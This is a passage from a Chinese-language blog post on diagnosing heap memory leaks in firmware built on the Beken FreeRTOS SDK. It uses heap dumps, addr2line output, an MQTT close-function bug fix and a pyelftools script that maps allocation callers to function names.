</span></span><span class="line"><span class="cl">U,0x426638,0x426738,0x803f4,112,92
</span></span><span class="line"><span class="cl">F,0x4266a8,0x4267a8,0x14d11,39240,1932
</span></span></code></pre></td></tr></table>
</div>
</div><p>对比之下，比较明显地增加了几条新 heap 使用信息</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">U,0x425e08,0x425f08,0x140f3,32,6
</span></span><span class="line"><span class="cl">U,0x425e28,0x425f28,0x803f4,2064,2048
</span></span><span class="line"><span class="cl">U,0x426638,0x426738,0x803f4,112,92
</span></span></code></pre></td></tr></table>
</div>
</div><p>再用 address2line 工具定位这几块内存是哪里申请的</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">toolchain/gcc-arm-none-eabi-5_4-2016q3/bin 
</span></span><span class="line"><span class="cl">❯ ./arm-none-eabi-addr2line -e ~/FC41D/beken_freertos_sdk_release-SDK_3.0.21/out/beken7231_bsp.elf -f 0x140f3 0x803f4 0x803f4
</span></span><span class="line"><span class="cl">cJSON_strdup
</span></span><span class="line"><span class="cl">/home/x/FC41D/beken_freertos_sdk_release-SDK_3.0.21/demos/common/json/cJSON.c:67
</span></span><span class="line"><span class="cl">rtos_create_thread
</span></span><span class="line"><span class="cl">/home/x/FC41D/beken_freertos_sdk_release-SDK_3.0.21/beken378/os/FreeRTOSv9.0.0/rtos_pub.c:98
</span></span><span class="line"><span class="cl">rtos_create_thread
</span></span><span class="line"><span class="cl">/home/x/FC41D/beken_freertos_sdk_release-SDK_3.0.21/beken378/os/FreeRTOSv9.0.0/rtos_pub.c:98
</span></span></code></pre></td></tr></table>
</div>
</div><p>/home/x/FC41D/beken_freertos_sdk_release-SDK_3.0.21/beken378/os/FreeRTOSv9.0.0/rtos_pub.c:98 对应的是创建线程的函数 rtos_create_thread</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">ali_iot_close</span><span class="p">(</span><span class="n">custom_func_ch_id_e</span> <span class="n">func_id</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">hdl</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">ali_iot_mqtt_client_t</span> <span class="o">*</span><span class="n">mqtt_client</span> <span class="o">=</span> <span class="n">hdl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">mqtt_client</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">rtos_lock_mutex</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">rtos_delete_thread</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">task</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">MQTTDisconnect</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">client</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">NetworkDisconnect</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">network</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="nf">ev_cb</span><span class="p">(</span><span class="n">mqtt_client</span><span class="p">,</span> <span class="n">QL_MQTT_CLOSE</span><span class="p">,</span> <span class="p">(</span><span class="n">QL_MQTT_OK</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">)</span><span class="o">|</span><span class="n">QL_MQTT_CLOSE_BY_DISCONNECT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">func_id</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">sign_mqtt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">sign_mqtt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">sub_topic</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">sub_topic</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">sub_topic</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">sub_topic</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">rtos_unlock_mutex</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">rtos_deinit_mutex</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mqtt_client</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">mqtt_client</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>分析代码之后，找到原因是关闭mqtt的时候，没有正确删除线程导致的内存泄漏。 rtos_delete_thread(mqtt_client-&gt;task); 传参不对，修改为 rtos_delete_thread(&amp;mqtt_client-&gt;task);之后正常。</p>
<h4 id="案例2">案例2</h4>
<p>挂测日志，出现 malloc 失败，主动重启：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[2024-07-26 10:23:39]  malloc failed !!!!!!!!!
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  address: 0x40aaa0
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  size: 152928
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  avail: 352
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  pool_start: 0x40aaa0
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  pool_end: 0x42fff0
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  state,block_addr,user_addr,caller,blocksize,wanted_size
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40aaa0,0x40aab0,0x1b959,4120,4096
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40bab8,0x40bac8,0x1b979,40,20
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40bae0,0x40baf0,0x1b959,536,512
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40bcf8,0x40bd08,0x1b979,40,20
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40bd20,0x40bd30,0x1b959,4120,4096
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40cd38,0x40cd48,0x1b979,40,20
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40cd60,0x40cd70,0x1b959,536,512
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40cf78,0x40cf88,0x1b979,40,20
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40cfa0,0x40cfb0,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:39]  U,0x40d008,0x40d018,0x7e544,104,80
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">......
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f368,0x42f378,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f3d0,0x42f3e0,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f438,0x42f448,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f4a0,0x42f4b0,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f508,0x42f518,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f570,0x42f580,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f5d8,0x42f5e8,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f640,0x42f650,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f6a8,0x42f6b8,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f710,0x42f720,0x4ae8b,416,396
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f8b0,0x42f8c0,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f918,0x42f928,0x7e750,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42f980,0x42f990,0x28721,104,80
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  F,0x42f9e8,0x42f9f8,0x95719,112,88
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42fa58,0x42fa68,0x9e76d,536,512
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  U,0x42fc70,0x42fc80,0xacb8d,792,768
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  F,0x42ff88,0x42ff98,(nil),104,0
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  bk_reboot
</span></span><span class="line"><span class="cl">[2024-07-26 10:23:41]  wdt reboot
</span></span></code></pre></td></tr></table>
</div>
</div><p>写脚本，将 log 保存为 csv 文件，并把 caller 地址对应的函数名找出来</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">find_function_name</span><span class="p">(</span><span class="n">elf_file</span><span class="p">,</span> <span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">symtab</span> <span class="o">=</span> <span class="n">elf_file</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.symtab&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">symtab</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;No symbol table found in the ELF file.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">symbol</span> <span class="ow">in</span> <span class="n">symtab</span><span class="o">.</span><span class="n">iter_symbols</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">start_addr</span> <span class="o">=</span> <span class="n">symbol</span><span class="o">.</span><span class="n">entry</span><span class="o">.</span><span class="n">st_value</span>
</span></span><span class="line"><span class="cl">        <span class="n">size</span> <span class="o">=</span> <span class="n">symbol</span><span class="o">.</span><span class="n">entry</span><span class="o">.</span><span class="n">st_size</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">start_addr</span> <span class="o">&lt;=</span> <span class="n">address</span> <span class="o">&lt;</span> <span class="n">start_addr</span> <span class="o">+</span> <span class="n">size</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">symbol</span><span class="o">.</span><span class="n">name</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;No function found at address 0x</span><span class="si">{</span><span class="n">address</span><span class="si">:</span><span class="s2">x</span><span class="si">}</span><span class="s2"> in the ELF file.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">find_function_address</span><span class="p">(</span><span class="n">elf_file</span><span class="p">,</span> <span class="n">function_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">symtab</span> <span class="o">=</span> <span class="n">elf_file</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.symtab&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">symtab</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;No symbol table found in the ELF file.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">symbol</span> <span class="ow">in</span> <span class="n">symtab</span><span class="o">.</span><span class="n">iter_symbols</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">symbol</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">function_name</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">symbol</span><span class="o">.</span><span class="n">entry</span><span class="o">.</span><span class="n">st_value</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Function &#39;</span><span class="si">{</span><span class="n">function_name</span><span class="si">}</span><span class="s2">&#39; not found in the ELF file.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">read_csv</span><span class="p">(</span><span class="n">file_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s1">&#39;r&#39;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">csv_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">csv_reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">reader</span><span class="p">(</span><span class="n">csv_file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">header</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span><span class="n">csv_reader</span><span class="p">)</span>  <span class="c1"># 读取表头</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="p">[</span><span class="n">row</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">csv_reader</span><span class="p">]</span>  <span class="c1"># 读取数据</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">header</span><span class="p">,</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">write_csv</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="n">header</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s1">&#39;w&#39;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">csv_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">csv_reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">writer</span><span class="p">(</span><span class="n">csv_file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">csv_reader</span><span class="o">.</span><span class="n">writerow</span><span class="p">(</span><span class="n">header</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">csv_reader</span><span class="o">.</span><span class="n">writerows</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;malloc failed/beken7231_bsp.elf&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">elffile</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">header</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">read_csv</span><span class="p">(</span><span class="s2">&#34;malloc failed/heap.csv&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">header</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s2">&#34;func_name&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">caller</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># 尝试将十六进制字符串转换为整数</span>
</span></span><span class="line"><span class="cl">        <span class="n">caller</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">caller</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">fn</span> <span class="o">=</span> <span class="n">find_function_name</span><span class="p">(</span><span class="n">elffile</span><span class="p">,</span> <span class="n">caller</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">fn</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">TypeError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">fn</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1"># print(caller)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">fn</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">fn</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># caller = hex(caller)</span>
</span></span><span class="line"><span class="cl">    <span class="n">row</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">fn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># print((caller, fn))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 将使用中的内存过滤出来</span>
</span></span><span class="line"><span class="cl"><span class="n">data2</span> <span class="o">=</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s2">&#34;U&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">data2</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">write_csv</span><span class="p">(</span><span class="s2">&#34;malloc failed/heap_U.csv&#34;</span><span class="p">,</span> <span class="n">header</span><span class="p">,</span> <span class="n">data2</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>处理之后的部分数据</p>
<table>
<thead>
<tr>
<th>state</th>
<th>block_addr</th>
<th>user_addr</th>
<th>caller</th>
<th>blocksize</th>
<th>wanted_size</th>
<th>func_name</th>
</tr>
</thead>
<tbody>
<tr>
<td>U</td>
<td>0x40aaa0</td>
<td>0x40aab0</td>
<td>0x1b959</td>
<td>4120</td>
<td>4096</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40bab8</td>
<td>0x40bac8</td>
<td>0x1b979</td>
<td>40</td>
<td>20</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40bae0</td>
<td>0x40baf0</td>
<td>0x1b959</td>
<td>536</td>
<td>512</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40bcf8</td>
<td>0x40bd08</td>
<td>0x1b979</td>
<td>40</td>
<td>20</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40bd20</td>
<td>0x40bd30</td>
<td>0x1b959</td>
<td>4120</td>
<td>4096</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40cd38</td>
<td>0x40cd48</td>
<td>0x1b979</td>
<td>40</td>
<td>20</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40cd60</td>
<td>0x40cd70</td>
<td>0x1b959</td>
<td>536</td>
<td>512</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40cf78</td>
<td>0x40cf88</td>
<td>0x1b979</td>
<td>40</td>
<td>20</td>
<td>kfifo_alloc</td>
</tr>
<tr>
<td>U</td>
<td>0x40cfa0</td>
<td>0x40cfb0</td>
<td>0x7e750</td>
<td>104</td>
<td>80</td>
<td>xQueueCreateMutex</td>
</tr>
<tr>
<td>U</td>
<td>0x40d008</td>
<td>0x40d018</td>
<td>0x7e544</td>
<td>104</td>
<td>80</td>
<td>xQueueCreateCountingSemaphore</td>
</tr>
<tr>
<td>U</td>
<td>0x40d070</td>
<td>0x40d080</td>
<td>0x28721</td>
<td>104</td>
<td>80</td>
<td>sys_sem_new</td>
</tr>
<tr>
<td>U</td>
<td>0x40d0d8</td>
<td>0x40d0e8</td>
<td>0x140c3</td>
<td>64</td>
<td>40</td>
<td>cJSON_New_Item</td>
</tr>
<tr>
<td>U</td>
<td>0x40d118</td>
<td>0x40d128</td>
<td>0x839e7</td>
<td>56</td>
<td>8</td>
<td>mm_printf_beacon_ie</td>
</tr>
